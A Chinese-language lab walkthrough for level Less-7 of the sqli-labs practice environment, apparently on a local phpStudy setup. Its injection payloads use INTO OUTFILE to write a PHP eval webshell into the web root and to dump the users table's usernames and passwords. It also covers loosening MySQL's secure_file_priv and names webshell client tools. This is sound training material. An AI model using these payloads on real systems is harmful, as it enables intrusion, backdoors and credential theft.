Less-7

提示使用outfile函数,也就是要用SQL写webshell了
1、fuzz
测试发现是单引号闭合,并且不仅仅是单引号

测试后发现是单引号加两个右括号

2、order by
?id=1')) order by 3%23
3、思路一:outfile导出文件
3.1、获取数据库路径
在less7中,我们无法获取到网站路径,因为它报错不在返回报错的数据库信息,我们可以在1-6关中注入获得数据库路径

@@datadir 返回的是数据库存储数据的路径,而我们知道网站路径是在WWW目录下,那么结合@@datadir 我们可以推断出网站的绝对路径为 E:\phpStudy_64\phpstudy_pro\www\
phpstudy2018和新版phpstudy的路径不太一样,可以自己下载一个做测试
3.2、读写权限测试
id=1')) and (select count(*) from mysql.user)>0 %23
返回正常则有读取权限
3.3、into outfile函数
?id=1')) union select 1,2,3 into outfile "E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt"
多次测试后一直写入失败,查询后得知权限过低
需要打开phpstudy\MySQL\my.ini文件,在其中加上一句:secure_file_priv="/"

重启mysql后生效
E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt 是当前关卡的路径,当然如果想直接放在WWW目录下也是一样的

上图中显示 sql 出错了,但是没有关系,我们可以在浏览器或后台中看到 test.txt 文件已经生成了

反斜杠“\”是Windows系统文件目录结构使用的分隔符,如:D:\我的文档。只有 windows 支持反斜杠路径符 \ ,而所有系统支持 /
但是我们还应该知道 \ 也是转义字符,在url中他会当成转义字符处理,所以我们用 \ 对反斜杠进行转义,那么结果就变成了一个反斜杠。
3.4、写一句话木马
?id=1')) union select 1,2,'<?php @eval($_POST["admin"])?>' into outfile "E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.php" %23

成功写入,当然PHP源代码是看不到的

3.5、实用工具连接
使用中国蚁剑、中国菜刀、冰蝎等工具连接数据库即可


3.6、注意
对文件进行导入导出首先得要有足够的权限, 但是mysql默认不能导入和导出文件,这与secure_file_priv的值有关(默认为null) secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。 1、当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出 2、当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下 3、当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制 用以下命令查看secure_file_priv的值
show variables like ‘%secure%’;

由于先前已做过修改,这里显示的是可导入导出
如果是null,想得到导入导出权限,可以在my.ini文件[mysqld]的后面加上secure_file_priv=’’(两个英文单引号),然后重启phpstudy即可
1、outfire 后面的路径为绝对路径且存在 2、要有足够的权限 3、注入的内容也可以是字符串,句子 4、要想注入新内容,需要新的文件名
这里写入文件的时候,需要注意的是利用数据库file权限向操作系统写入文件时,对于相同文件名的文件不能覆盖,所以如果第一次上传1.php,下次再上传1.php,就是无效命令了,也就是新的test.php中的内容并不会覆盖之前的1.php
4、思路二
4.1、导出数据库名
?id=-1')) union select 1,user(),database() into outfile "E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt" %23

4.2、导出表名
?id=-1')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile "E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\2.txt" %23

4.3、导出列
?id=-1')) union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' into outfile "E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\3.txt" %23

4.4、导出数据
?id=-1')) union select 1,username,password from users into outfile "E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\4.txt" %23

|